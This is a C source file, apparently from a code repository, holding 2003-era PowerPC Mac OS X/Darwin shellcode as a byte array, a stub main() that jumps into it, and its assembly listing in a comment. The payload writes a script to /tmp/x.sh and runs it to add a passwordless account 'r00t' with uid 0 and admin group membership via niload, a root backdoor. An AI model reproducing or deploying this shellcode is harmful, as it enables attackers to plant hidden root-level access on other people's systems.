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shellcode-128.c
executable file
·77 lines (68 loc) · 2.3 KB
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shellcode-128.c
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/*
PPC OS X / Darwin Shellcode by B-r00t. 2003.
open(); write(); close(); execve(); exit();
See ASM below.
219 Bytes!
*/
char shellcode[] =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70"
"\x39\x60\x01\x70\x39\x1f\xff\x0d\x7c\xa8\x29\xae\x38\x7f\xff\x04"
"\x38\x80\x02\x01\x38\xa0\xff\xff\x38\x0b\xfe\x95\x44\xff\xff\x02"
"\x60\x60\x60\x60\x38\x9f\xff\x0e\x38\xab\xfe\xe5\x38\x0b\xfe\x94"
"\x44\xff\xff\x02\x60\x60\x60\x60\x38\x0b\xfe\x96\x44\xff\xff\x02"
"\x60\x60\x60\x60\x7c\xa5\x2a\x79\x38\x7f\xff\x04\x90\x61\xff\xf8"
"\x90\xa1\xff\xfc\x38\x81\xff\xf8\x38\x0b\xfe\xcb\x44\xff\xff\x02"
"\x60\x60\x60\x60\x38\x0b\xfe\x91\x44\xff\xff\x02\x2f\x74\x6d\x70"
"\x2f\x78\x2e\x73\x68\x58\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
"\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x27\x72\x30\x30\x74\x3a"
"\x3a\x39\x39\x39\x3a\x38\x30\x3a\x3a\x30\x3a\x30\x3a\x72\x30\x30"
"\x74\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x27\x20\x7c\x20\x2f"
"\x75\x73\x72\x2f\x62\x69\x6e\x2f\x6e\x69\x6c\x6f\x61\x64\x20\x2d"
"\x6d\x20\x70\x61\x73\x73\x77\x64\x20\x2e\x0a";
int main (void)
{
__asm__("b _shellcode");
}
/*
; PPC OS X / Darwin Shellcode by B-r00t.
; open(); write(); close(); execve(); exit()
; Adds a user account (admin member) using a
; '/tmp/x.sh shellscript (niload).
; echo 'r00t::999:80::0:0:r00t:/:/bin/sh' | /usr/bin/niload -m passwd .
;
.globl _main
.text
_main:
xor. r5, r5, r5
bnel _main
mflr r10
addi r31, r10, 368
li r11, 368
addi r8, r31, -243
stbx r5, r8, r5
addi r3, r31, -252
li r4, 513
li r5, -1
addi r0, r11, -363
.long 0x44ffff02
.long 0x60606060
addi r4, r31, -242
addi r5, r11, -283
addi r0, r11, -364
.long 0x44ffff02
.long 0x60606060
addi r0, r11, -362
.long 0x44ffff02
.long 0x60606060
xor. r5, r5, r5
addi r3, r31, -252
stw r3, -8(r1)
stw r5, -4(r1)
subi r4, r1, 8
addi r0, r11, -309
.long 0x44ffff02
.long 0x60606060
addi r0, r11, -367
.long 0x44ffff02
path: .asciz "/tmp/x.shX#!/bin/sh\n/bin/echo 'r00t::999:80::0:0:r00t:/:/bin/sh' | /usr/bin/niload -m passwd .\n"
*/